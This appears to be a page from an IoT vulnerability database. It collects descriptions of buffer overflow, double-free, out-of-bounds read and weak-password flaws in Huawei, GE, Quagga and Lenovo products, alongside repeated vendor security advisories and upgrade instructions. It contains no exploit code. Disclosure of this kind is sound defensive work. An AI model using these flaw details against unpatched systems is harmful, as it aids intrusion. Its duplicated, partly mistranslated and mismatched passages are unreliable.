VARIoT IoT vulnerabilities database

Bluetooth module in some Huawei mobile phones with software LON-AL00BC00B229 and earlier versions has a buffer overflow vulnerability. Due to insufficient input validation, an unauthenticated attacker may craft Bluetooth AVDTP/AVCTP messages after successful paring, causing buffer overflow. Successful exploit may cause code execution. Huawei Smartphone software contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Huawei LON-AL00B is a smart phone product of China Huawei (Huawei). Bluetooth module is one of the Bluetooth modules. The vulnerability is caused by insufficient verification of input in the program. Attackers can exploit this vulnerability to execute code by forging or tampering with Bluetooth AVDTP/AVCTP packets after successful Bluetooth pairing

Huawei AR120-S V200R005C32, V200R006C10, V200R007C00, V200R008C20, V200R008C30, AR1200 V200R005C32, V200R006C10, V200R007C00, V200R007C01, V200R007C02, V200R008C20, V200R008C30, AR1200-S V200R005C32, V200R006C10, V200R007C00, V200R008C20, V200R008C30, AR150 V200R005C32, V200R006C10, V200R007C00, V200R007C01, V200R007C02, V200R008C20, V200R008C30, AR150-S V200R005C32, V200R007C00, V200R008C20, V200R008C30, AR160 V200R005C32, V200R006C10, V200R007C00, V200R007C01, V200R007C02, V200R008C20, V200R008C30, AR200 V200R005C32, V200R006C10, V200R007C00, V200R007C01, V200R008C20, V200R008C30, AR200-S V200R005C32, V200R006C10, V200R007C00, V200R008C20, V200R008C30,AR2200 V200R006C10, V200R007C00, V200R007C01, V200R007C02, V200R008C20, V200R008C30, AR2200-S V200R005C32, V200R006C10, V200R007C00, V200R008C20, V200R008C30, AR3200 V200R005C32, V200R006C10, V200R006C11, V200R007C00, V200R007C01, V200R007C02, V200R008C00, V200R008C10, V200R008C20, V200R008C30, AR3600 V200R006C10, V200R007C00, V200R007C01, V200R008C20, AR510 V200R005C32, V200R006C10, V200R007C00, V200R008C20, V200R008C30, NetEngine16EX V200R005C32, V200R006C10, V200R007C00, V200R008C20, V200R008C30, SRG1300 V200R005C32, V200R006C10, V200R007C00, V200R007C02, V200R008C20, V200R008C30, SRG2300 V200R005C32, V200R006C10, V200R007C00, V200R007C02, V200R008C20, V200R008C30, SRG3300 V200R005C32, V200R006C10, V200R007C00, V200R008C20, V200R008C30 have an out-of-bound read vulnerability in some Huawei products. Due to insufficient input validation, a remote, unauthenticated attacker may send crafted signature to the affected products. Successful exploit may cause buffer overflow, services abnormal. plural Huawei The product contains a buffer error vulnerability.Service operation interruption (DoS) There is a possibility of being put into a state. Huawei AR120-S is a router product of China Huawei. The following products and versions are affected: Huawei AR120-S V200R005C32 Version, V200R006C10 Version, V200R007C00 Version, V200R008C20 Version, V200R008C30 Version; AR1200 V200R005C32 Version, V200R006C10 Version, V200R007C00 Version, V200R007C01 Version, V200R007C02 Version, V200R008C20 Version, V200R008C30 Version; AR1200- S V200R005C32 Version, V200R006C10 Version, V200R007C00 Version, V200R008C20 Version, V200R008C30 Version; AR150 V200R005C32 Version, V200R006C10 Version, V200R007C00 Version, V200R007C01 Version, V200R007C02 Version, V200R008C20 Version, V200R008C30 Version; AR150-S V200R005C32 Version, V200R007C00 Version, V200R008C20 Version, V200R008C30 Version; AR160 V200R005C32 Version, V200R006C10 Version, V200R007C00 Version, V200R007C01 Version, V200R007C02 Version, V200R008C20 Version, V200R008C30 Version; AR200 V200R005C32 Version, V200R006C10 Version, V200R007C00 Version, V200R007C01 Version, V200R008C20 Version, V200R008C30 Version; AR200-S V200R005C32 Version, V200R006C10, V200R007C00, V200R008C20, V200R008C30; AR2200

An Improper Restriction of Operations within the Bounds of a Memory Buffer issue was discovered in GE D60 Line Distance Relay devices running firmware Version 7.11 and prior. The SSH functions of the device are vulnerable to buffer overflow conditions that may allow a remote attacker to execute arbitrary code on the device. GeneralElectricCompany is a manufacturer of electrical equipment, electrical and electronic equipment. General Electric (GE) D60 Line Distance Relay is prone to multiple buffer-overflow vulnerabilities because the application fails to handle exceptions properly. Failed exploits will result in denial-of-service condition. D60 devices running firmware Version 7.11 and prior are vulnerable. The product is used to protect transmission lines and cables, supports double circuit breaker applications, and can be used in single-pole or three-pole tripping applications. The vulnerability is caused by the program not properly restricting operations within the boundaries of the memory buffer

The Quagga BGP daemon (bgpd) prior to version 1.2.3 has a bug in its parsing of "Capabilities" in BGP OPEN messages, in the bgp_packet.c:bgp_capability_msg_parse function. The parser can enter an infinite loop on invalid capabilities if a Multi-Protocol capability does not have a recognized AFI/SAFI, causing a denial of service. The Quagga BGP daemon bgpd prior to version 1.2.3 may be vulnerable to multiple issues that may result in denial of service, information disclosure, or remote code execution. Quagga bgpd Contains several vulnerabilities: * Buffer overflow (CWE-119) - CVE-2018-5378 (Quagga-2018-0543) * Double memory release (CWE-415) - CVE-2018-5379 (Quagga-2018-1114) * Out of bounds read (CWE-125) - CVE-2018-5380 (Quagga-2018-1550) * Improper handling of incorrect syntactic constructs (CWE-228) - CVE-2018-5381 (Quagga-2018-1975) Detail is <a href="https://savannah.nongnu.org/forum/forum.php?forum_id=9095"target="blank"> Information provided by the developer </a> Please refer to.The expected impact depends on each vulnerability, but remote code execution, information leakage, service operation interruption by a remote third party (DoS) An attack could be made. Quagga is prone to multiple denial of service vulnerabilities. Attackers can exploit these issues to crash the affected application, denying service to legitimate users. A configured peer can take advantage of this flaw to cause a denial of service (bgpd daemon not responding to any other events; BGP sessions will drop and not be reestablished; unresponsive CLI interface). https://www.quagga.net/security/Quagga-2018-1975.txt For the oldstable distribution (jessie), these problems have been fixed in version 0.99.23.1-1+deb8u5. For the stable distribution (stretch), these problems have been fixed in version 1.1.1-3+deb9u2. We recommend that you upgrade your quagga packages. For the detailed security status of quagga please refer to its security tracker page at: https://security-tracker.debian.org/tracker/quagga Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/ Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE----- iQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAlqGBaVfFIAAAAAALgAo aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2 NDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xND z0RpyRAAhVpntFw+LSUUzL2/cx7m+s4fHijhOkU/AjKKmW4a9rAi0iJYW4HNv5BU cKfz6yhngFUzCa+Glhmiwzt77eAoeksJSvxkKio5CTqjV3OxCWbDPPz/iRRHcKvK MGhnqyShMCF8boQU0plmqNbfhnSWNAObbaI2fPmjLOU4A4jPY1T/fbzu4Sd3k5qY ETeHq9+HlVdGnyNEoYnoO0XQH56ueNHy3VlChJ0S2OPtFtoKXkjM/er+yG6413+G 3e90tcbm2xlitmrTyZm9K/Q08UWLJx510n1rxehaO1DTEz+bqSNezySOhyNb8sTA fuadDpgs2ozwgSmxyuWFj0RL3fKvgycw1ZeNiS5nUmRJTobrPlnjyX+A8FEJhPuI 9xyVa8j6wUeBVZdgd9b/EWLQ1Z9oDRiXmHRJeVOtz4JRNPP1KLtBcsPxFW9eCp83 9gFMqk/vMYQSpRqtQdnl5OawEpeurMtusBsnlEV5y9afiHU9jKB8N7RPwxCJgtjP /jmhS4lOvn3F5lNILahaL3lrk/b0EsECajBltbN9YVU0yabWWRWSMrJ3ujamhaXE aUQKmVj1alwDyg90vToiUftdr3R0hPPFuzA0BAK55SJVzjwJ2XInzItr+2y1tMPn dSpd32tzrxpDm86rvmRIiAJbj28n7QnX9I9BlKZqWq2fUUhTkNg= =Gy8j -----END PGP SIGNATURE----- . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201804-17 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - https://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: High Title: Quagga: Multiple vulnerabilities Date: April 22, 2018 Bugs: #647788 ID: 201804-17 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Multiple vulnerabilities have been found in Quagga, the worst of which could allow remote attackers to execute arbitrary code. Please review the CVE identifiers referenced below for details. Workaround ========== There is no known workaround at this time. Resolution ========== All Quagga users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-misc/quagga-1.2.4" References ========== [ 1 ] CVE-2018-5378 https://nvd.nist.gov/vuln/detail/CVE-2018-5378 [ 2 ] CVE-2018-5379 https://nvd.nist.gov/vuln/detail/CVE-2018-5379 [ 3 ] CVE-2018-5380 https://nvd.nist.gov/vuln/detail/CVE-2018-5380 [ 4 ] CVE-2018-5381 https://nvd.nist.gov/vuln/detail/CVE-2018-5381 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: https://security.gentoo.org/glsa/201804-17 Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us. Any security concerns should be addressed to security@gentoo.org or alternatively, you may file a bug at https://bugs.gentoo.org. License ======= Copyright 2018 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. https://creativecommons.org/licenses/by-sa/2.5 . ========================================================================== Ubuntu Security Notice USN-3573-1 February 16, 2018 quagga vulnerabilities ========================================================================== A security issue affects these releases of Ubuntu and its derivatives: - Ubuntu 17.10 - Ubuntu 16.04 LTS - Ubuntu 14.04 LTS Summary: Several security issues were fixed in Quagga. Software Description: - quagga: BGP/OSPF/RIP routing daemon Details: It was discovered that a double-free vulnerability existed in the Quagga BGP daemon when processing certain forms of UPDATE message. A remote attacker could use this to cause a denial of service or possibly execute arbitrary code. (CVE-2018-5379) It was discovered that the Quagga BGP daemon did not properly bounds check the data sent with a NOTIFY to a peer. An attacker could use this to expose sensitive information or possibly cause a denial of service. This issue only affected Ubuntu 17.10. (CVE-2018-5378) It was discovered that a table overrun vulnerability existed in the Quagga BGP daemon. An attacker in control of a configured peer could use this to possibly expose sensitive information or possibly cause a denial of service. (CVE-2018-5381) Update instructions: The problem can be corrected by updating your system to the following package versions: Ubuntu 17.10: quagga 1.1.1-3ubuntu0.2 quagga-bgpd 1.1.1-3ubuntu0.2 Ubuntu 16.04 LTS: quagga 0.99.24.1-2ubuntu1.4 Ubuntu 14.04 LTS: quagga 0.99.22.4-3ubuntu1.5 After a standard system update you need to restart Quagga to make all the necessary changes. References: https://www.ubuntu.com/usn/usn-3573-1 CVE-2018-5378, CVE-2018-5379, CVE-2018-5380, CVE-2018-5381 Package Information: https://launchpad.net/ubuntu/+source/quagga/1.1.1-3ubuntu0.2 https://launchpad.net/ubuntu/+source/quagga/0.99.24.1-2ubuntu1.4 https://launchpad.net/ubuntu/+source/quagga/0.99.22.4-3ubuntu1.5

The Quagga BGP daemon (bgpd) prior to version 1.2.3 can overrun internal BGP code-to-string conversion tables used for debug by 1 pointer value, based on input. Quagga bgpd Contains several vulnerabilities: * Buffer overflow (CWE-119) - CVE-2018-5378 (Quagga-2018-0543) * Double memory release (CWE-415) - CVE-2018-5379 (Quagga-2018-1114) * Out of bounds read (CWE-125) - CVE-2018-5380 (Quagga-2018-1550) * Improper handling of incorrect syntactic constructs (CWE-228) - CVE-2018-5381 (Quagga-2018-1975) Detail is <a href="https://savannah.nongnu.org/forum/forum.php?forum_id=9095"target="blank"> Information provided by the developer </a> Please refer to.The expected impact depends on each vulnerability, but remote code execution, information leakage, service operation interruption by a remote third party (DoS) An attack could be made. Quagga is prone to multiple denial of service vulnerabilities. Attackers can exploit these issues to crash the affected application, denying service to legitimate users. A configured peer can take advantage of this flaw to cause a denial of service (bgpd daemon not responding to any other events; BGP sessions will drop and not be reestablished; unresponsive CLI interface). https://www.quagga.net/security/Quagga-2018-1975.txt For the oldstable distribution (jessie), these problems have been fixed in version 0.99.23.1-1+deb8u5. For the stable distribution (stretch), these problems have been fixed in version 1.1.1-3+deb9u2. We recommend that you upgrade your quagga packages. For the detailed security status of quagga please refer to its security tracker page at: https://security-tracker.debian.org/tracker/quagga Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/ Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE----- iQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAlqGBaVfFIAAAAAALgAo aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2 NDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xND z0RpyRAAhVpntFw+LSUUzL2/cx7m+s4fHijhOkU/AjKKmW4a9rAi0iJYW4HNv5BU cKfz6yhngFUzCa+Glhmiwzt77eAoeksJSvxkKio5CTqjV3OxCWbDPPz/iRRHcKvK MGhnqyShMCF8boQU0plmqNbfhnSWNAObbaI2fPmjLOU4A4jPY1T/fbzu4Sd3k5qY ETeHq9+HlVdGnyNEoYnoO0XQH56ueNHy3VlChJ0S2OPtFtoKXkjM/er+yG6413+G 3e90tcbm2xlitmrTyZm9K/Q08UWLJx510n1rxehaO1DTEz+bqSNezySOhyNb8sTA fuadDpgs2ozwgSmxyuWFj0RL3fKvgycw1ZeNiS5nUmRJTobrPlnjyX+A8FEJhPuI 9xyVa8j6wUeBVZdgd9b/EWLQ1Z9oDRiXmHRJeVOtz4JRNPP1KLtBcsPxFW9eCp83 9gFMqk/vMYQSpRqtQdnl5OawEpeurMtusBsnlEV5y9afiHU9jKB8N7RPwxCJgtjP /jmhS4lOvn3F5lNILahaL3lrk/b0EsECajBltbN9YVU0yabWWRWSMrJ3ujamhaXE aUQKmVj1alwDyg90vToiUftdr3R0hPPFuzA0BAK55SJVzjwJ2XInzItr+2y1tMPn dSpd32tzrxpDm86rvmRIiAJbj28n7QnX9I9BlKZqWq2fUUhTkNg= =Gy8j -----END PGP SIGNATURE----- . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201804-17 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - https://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: High Title: Quagga: Multiple vulnerabilities Date: April 22, 2018 Bugs: #647788 ID: 201804-17 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Multiple vulnerabilities have been found in Quagga, the worst of which could allow remote attackers to execute arbitrary code. Please review the CVE identifiers referenced below for details. Workaround ========== There is no known workaround at this time. Resolution ========== All Quagga users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-misc/quagga-1.2.4" References ========== [ 1 ] CVE-2018-5378 https://nvd.nist.gov/vuln/detail/CVE-2018-5378 [ 2 ] CVE-2018-5379 https://nvd.nist.gov/vuln/detail/CVE-2018-5379 [ 3 ] CVE-2018-5380 https://nvd.nist.gov/vuln/detail/CVE-2018-5380 [ 4 ] CVE-2018-5381 https://nvd.nist.gov/vuln/detail/CVE-2018-5381 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: https://security.gentoo.org/glsa/201804-17 Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us. Any security concerns should be addressed to security@gentoo.org or alternatively, you may file a bug at https://bugs.gentoo.org. License ======= Copyright 2018 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. https://creativecommons.org/licenses/by-sa/2.5 . ========================================================================== Ubuntu Security Notice USN-3573-1 February 16, 2018 quagga vulnerabilities ========================================================================== A security issue affects these releases of Ubuntu and its derivatives: - Ubuntu 17.10 - Ubuntu 16.04 LTS - Ubuntu 14.04 LTS Summary: Several security issues were fixed in Quagga. Software Description: - quagga: BGP/OSPF/RIP routing daemon Details: It was discovered that a double-free vulnerability existed in the Quagga BGP daemon when processing certain forms of UPDATE message. A remote attacker could use this to cause a denial of service or possibly execute arbitrary code. (CVE-2018-5379) It was discovered that the Quagga BGP daemon did not properly bounds check the data sent with a NOTIFY to a peer. An attacker could use this to expose sensitive information or possibly cause a denial of service. This issue only affected Ubuntu 17.10. An attacker in control of a configured peer could use this to possibly expose sensitive information or possibly cause a denial of service. (CVE-2018-5380) It was discovered that the Quagga BGP daemon in some configurations did not properly handle invalid OPEN messages. An attacker in control of a configured peer could use this to cause a denial of service (infinite loop). (CVE-2018-5381) Update instructions: The problem can be corrected by updating your system to the following package versions: Ubuntu 17.10: quagga 1.1.1-3ubuntu0.2 quagga-bgpd 1.1.1-3ubuntu0.2 Ubuntu 16.04 LTS: quagga 0.99.24.1-2ubuntu1.4 Ubuntu 14.04 LTS: quagga 0.99.22.4-3ubuntu1.5 After a standard system update you need to restart Quagga to make all the necessary changes. References: https://www.ubuntu.com/usn/usn-3573-1 CVE-2018-5378, CVE-2018-5379, CVE-2018-5380, CVE-2018-5381 Package Information: https://launchpad.net/ubuntu/+source/quagga/1.1.1-3ubuntu0.2 https://launchpad.net/ubuntu/+source/quagga/0.99.24.1-2ubuntu1.4 https://launchpad.net/ubuntu/+source/quagga/0.99.22.4-3ubuntu1.5

The Quagga BGP daemon (bgpd) prior to version 1.2.3 can double-free memory when processing certain forms of UPDATE message, containing cluster-list and/or unknown attributes. A successful attack could cause a denial of service or potentially allow an attacker to execute arbitrary code. Quagga bgpd Contains several vulnerabilities: * Buffer overflow (CWE-119) - CVE-2018-5378 (Quagga-2018-0543) * Double memory release (CWE-415) - CVE-2018-5379 (Quagga-2018-1114) * Out of bounds read (CWE-125) - CVE-2018-5380 (Quagga-2018-1550) * Improper handling of incorrect syntactic constructs (CWE-228) - CVE-2018-5381 (Quagga-2018-1975) Detail is <a href="https://savannah.nongnu.org/forum/forum.php?forum_id=9095"target="blank"> Information provided by the developer </a> Please refer to.The expected impact depends on each vulnerability, but remote code execution, information leakage, service operation interruption by a remote third party (DoS) An attack could be made. Quagga is prone to a remote code-execution vulnerability. Failed exploit attempts will likely cause a denial-of-service condition. Versions prior to Quagga 1.2.3 are vulnerable. A configured peer can take advantage of this flaw to cause a denial of service (bgpd daemon not responding to any other events; BGP sessions will drop and not be reestablished; unresponsive CLI interface). https://www.quagga.net/security/Quagga-2018-1975.txt For the oldstable distribution (jessie), these problems have been fixed in version 0.99.23.1-1+deb8u5. For the stable distribution (stretch), these problems have been fixed in version 1.1.1-3+deb9u2. We recommend that you upgrade your quagga packages. For the detailed security status of quagga please refer to its security tracker page at: https://security-tracker.debian.org/tracker/quagga Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/ Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE----- iQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAlqGBaVfFIAAAAAALgAo aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2 NDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xND z0RpyRAAhVpntFw+LSUUzL2/cx7m+s4fHijhOkU/AjKKmW4a9rAi0iJYW4HNv5BU cKfz6yhngFUzCa+Glhmiwzt77eAoeksJSvxkKio5CTqjV3OxCWbDPPz/iRRHcKvK MGhnqyShMCF8boQU0plmqNbfhnSWNAObbaI2fPmjLOU4A4jPY1T/fbzu4Sd3k5qY ETeHq9+HlVdGnyNEoYnoO0XQH56ueNHy3VlChJ0S2OPtFtoKXkjM/er+yG6413+G 3e90tcbm2xlitmrTyZm9K/Q08UWLJx510n1rxehaO1DTEz+bqSNezySOhyNb8sTA fuadDpgs2ozwgSmxyuWFj0RL3fKvgycw1ZeNiS5nUmRJTobrPlnjyX+A8FEJhPuI 9xyVa8j6wUeBVZdgd9b/EWLQ1Z9oDRiXmHRJeVOtz4JRNPP1KLtBcsPxFW9eCp83 9gFMqk/vMYQSpRqtQdnl5OawEpeurMtusBsnlEV5y9afiHU9jKB8N7RPwxCJgtjP /jmhS4lOvn3F5lNILahaL3lrk/b0EsECajBltbN9YVU0yabWWRWSMrJ3ujamhaXE aUQKmVj1alwDyg90vToiUftdr3R0hPPFuzA0BAK55SJVzjwJ2XInzItr+2y1tMPn dSpd32tzrxpDm86rvmRIiAJbj28n7QnX9I9BlKZqWq2fUUhTkNg= =Gy8j -----END PGP SIGNATURE----- . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ===================================================================== Red Hat Security Advisory Synopsis: Important: quagga security update Advisory ID: RHSA-2018:0377-01 Product: Red Hat Enterprise Linux Advisory URL: https://access.redhat.com/errata/RHSA-2018:0377 Issue date: 2018-02-28 CVE Names: CVE-2018-5379 ===================================================================== 1. Summary: An update for quagga is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section. 2. Relevant releases/architectures: Red Hat Enterprise Linux Server (v. 7) - ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Server Optional (v. 7) - ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Workstation (v. 7) - x86_64 Red Hat Enterprise Linux Workstation Optional (v. 7) - x86_64 Red Hat Enterprise Linux for ARM and IBM Power LE (POWER9) Server (v. 7) - aarch64, ppc64le Red Hat Enterprise Linux for ARM and IBM Power LE (POWER9) Server Optional (v. 7) - aarch64, ppc64le 3. Description: The quagga packages contain Quagga, the free network-routing software suite that manages TCP/IP based protocols. Quagga supports the BGP4, BGP4+, OSPFv2, OSPFv3, RIPv1, RIPv2, and RIPng protocols, and is intended to be used as a Route Server and Route Reflector. Security Fix(es): * quagga: Double free vulnerability in bgpd when processing certain forms of UPDATE message allowing to crash or potentially execute arbitrary code (CVE-2018-5379) For more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section. Red Hat would like to thank the Quagga project for reporting this issue. 4. Solution: For details on how to apply this update, which includes the changes described in this advisory, refer to: https://access.redhat.com/articles/11258 After installing the updated packages, the bgpd daemon must be restarted for the update to take effect. 5. Package List: Red Hat Enterprise Linux Server (v. 7): Source: quagga-0.99.22.4-5.el7_4.src.rpm ppc64: quagga-0.99.22.4-5.el7_4.ppc.rpm quagga-0.99.22.4-5.el7_4.ppc64.rpm quagga-debuginfo-0.99.22.4-5.el7_4.ppc.rpm quagga-debuginfo-0.99.22.4-5.el7_4.ppc64.rpm ppc64le: quagga-0.99.22.4-5.el7_4.ppc64le.rpm quagga-debuginfo-0.99.22.4-5.el7_4.ppc64le.rpm s390x: quagga-0.99.22.4-5.el7_4.s390.rpm quagga-0.99.22.4-5.el7_4.s390x.rpm quagga-debuginfo-0.99.22.4-5.el7_4.s390.rpm quagga-debuginfo-0.99.22.4-5.el7_4.s390x.rpm x86_64: quagga-0.99.22.4-5.el7_4.i686.rpm quagga-0.99.22.4-5.el7_4.x86_64.rpm quagga-debuginfo-0.99.22.4-5.el7_4.i686.rpm quagga-debuginfo-0.99.22.4-5.el7_4.x86_64.rpm Red Hat Enterprise Linux for ARM and IBM Power LE (POWER9) Server (v. 7): Source: quagga-0.99.22.4-5.el7_4.src.rpm aarch64: quagga-0.99.22.4-5.el7_4.aarch64.rpm quagga-debuginfo-0.99.22.4-5.el7_4.aarch64.rpm ppc64le: quagga-0.99.22.4-5.el7_4.ppc64le.rpm quagga-debuginfo-0.99.22.4-5.el7_4.ppc64le.rpm Red Hat Enterprise Linux Server Optional (v. 7): ppc64: quagga-contrib-0.99.22.4-5.el7_4.ppc64.rpm quagga-debuginfo-0.99.22.4-5.el7_4.ppc.rpm quagga-debuginfo-0.99.22.4-5.el7_4.ppc64.rpm quagga-devel-0.99.22.4-5.el7_4.ppc.rpm quagga-devel-0.99.22.4-5.el7_4.ppc64.rpm ppc64le: quagga-contrib-0.99.22.4-5.el7_4.ppc64le.rpm quagga-debuginfo-0.99.22.4-5.el7_4.ppc64le.rpm quagga-devel-0.99.22.4-5.el7_4.ppc64le.rpm s390x: quagga-contrib-0.99.22.4-5.el7_4.s390x.rpm quagga-debuginfo-0.99.22.4-5.el7_4.s390.rpm quagga-debuginfo-0.99.22.4-5.el7_4.s390x.rpm quagga-devel-0.99.22.4-5.el7_4.s390.rpm quagga-devel-0.99.22.4-5.el7_4.s390x.rpm x86_64: quagga-contrib-0.99.22.4-5.el7_4.x86_64.rpm quagga-debuginfo-0.99.22.4-5.el7_4.i686.rpm quagga-debuginfo-0.99.22.4-5.el7_4.x86_64.rpm quagga-devel-0.99.22.4-5.el7_4.i686.rpm quagga-devel-0.99.22.4-5.el7_4.x86_64.rpm Red Hat Enterprise Linux for ARM and IBM Power LE (POWER9) Server Optional (v. 7): aarch64: quagga-contrib-0.99.22.4-5.el7_4.aarch64.rpm quagga-debuginfo-0.99.22.4-5.el7_4.aarch64.rpm quagga-devel-0.99.22.4-5.el7_4.aarch64.rpm ppc64le: quagga-contrib-0.99.22.4-5.el7_4.ppc64le.rpm quagga-debuginfo-0.99.22.4-5.el7_4.ppc64le.rpm quagga-devel-0.99.22.4-5.el7_4.ppc64le.rpm Red Hat Enterprise Linux Workstation (v. 7): Source: quagga-0.99.22.4-5.el7_4.src.rpm x86_64: quagga-0.99.22.4-5.el7_4.i686.rpm quagga-0.99.22.4-5.el7_4.x86_64.rpm quagga-debuginfo-0.99.22.4-5.el7_4.i686.rpm quagga-debuginfo-0.99.22.4-5.el7_4.x86_64.rpm Red Hat Enterprise Linux Workstation Optional (v. 7): x86_64: quagga-contrib-0.99.22.4-5.el7_4.x86_64.rpm quagga-debuginfo-0.99.22.4-5.el7_4.i686.rpm quagga-debuginfo-0.99.22.4-5.el7_4.x86_64.rpm quagga-devel-0.99.22.4-5.el7_4.i686.rpm quagga-devel-0.99.22.4-5.el7_4.x86_64.rpm These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/ 7. References: https://access.redhat.com/security/cve/CVE-2018-5379 https://access.redhat.com/security/updates/classification/#important 8. Contact: The Red Hat security contact is <secalert@redhat.com>. More contact details at https://access.redhat.com/security/team/contact/ Copyright 2018 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iD8DBQFalvS5XlSAg2UNWIIRAt2VAJoDHq+b03wv2cXdpBivxT/zOAniAQCgkE2/ WD9+DkKEg1eZpmyT0FyyN8s= =NOHT -----END PGP SIGNATURE----- -- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201804-17 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - https://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: High Title: Quagga: Multiple vulnerabilities Date: April 22, 2018 Bugs: #647788 ID: 201804-17 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Multiple vulnerabilities have been found in Quagga, the worst of which could allow remote attackers to execute arbitrary code. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 net-misc/quagga < 1.2.4 >= 1.2.4 Description =========== Multiple vulnerabilities have been discovered in Quagga. Please review the CVE identifiers referenced below for details. Workaround ========== There is no known workaround at this time. Resolution ========== All Quagga users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-misc/quagga-1.2.4" References ========== [ 1 ] CVE-2018-5378 https://nvd.nist.gov/vuln/detail/CVE-2018-5378 [ 2 ] CVE-2018-5379 https://nvd.nist.gov/vuln/detail/CVE-2018-5379 [ 3 ] CVE-2018-5380 https://nvd.nist.gov/vuln/detail/CVE-2018-5380 [ 4 ] CVE-2018-5381 https://nvd.nist.gov/vuln/detail/CVE-2018-5381 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: https://security.gentoo.org/glsa/201804-17 Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us. Any security concerns should be addressed to security@gentoo.org or alternatively, you may file a bug at https://bugs.gentoo.org. License ======= Copyright 2018 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. https://creativecommons.org/licenses/by-sa/2.5 . ========================================================================== Ubuntu Security Notice USN-3573-1 February 16, 2018 quagga vulnerabilities ========================================================================== A security issue affects these releases of Ubuntu and its derivatives: - Ubuntu 17.10 - Ubuntu 16.04 LTS - Ubuntu 14.04 LTS Summary: Several security issues were fixed in Quagga. (CVE-2018-5379) It was discovered that the Quagga BGP daemon did not properly bounds check the data sent with a NOTIFY to a peer. This issue only affected Ubuntu 17.10. (CVE-2018-5378) It was discovered that a table overrun vulnerability existed in the Quagga BGP daemon. (CVE-2018-5380) It was discovered that the Quagga BGP daemon in some configurations did not properly handle invalid OPEN messages. (CVE-2018-5381) Update instructions: The problem can be corrected by updating your system to the following package versions: Ubuntu 17.10: quagga 1.1.1-3ubuntu0.2 quagga-bgpd 1.1.1-3ubuntu0.2 Ubuntu 16.04 LTS: quagga 0.99.24.1-2ubuntu1.4 Ubuntu 14.04 LTS: quagga 0.99.22.4-3ubuntu1.5 After a standard system update you need to restart Quagga to make all the necessary changes

LFW800E is a gigabit intelligent firewall developed by Lenovo Tiangong Networks for network security applications of medium-sized enterprises. Lenovo Firewall has weak passwords and remote command execution vulnerabilities. Attackers can use this vulnerability to successfully log in to the system, obtain sensitive information, upload webshells, and obtain server permissions.

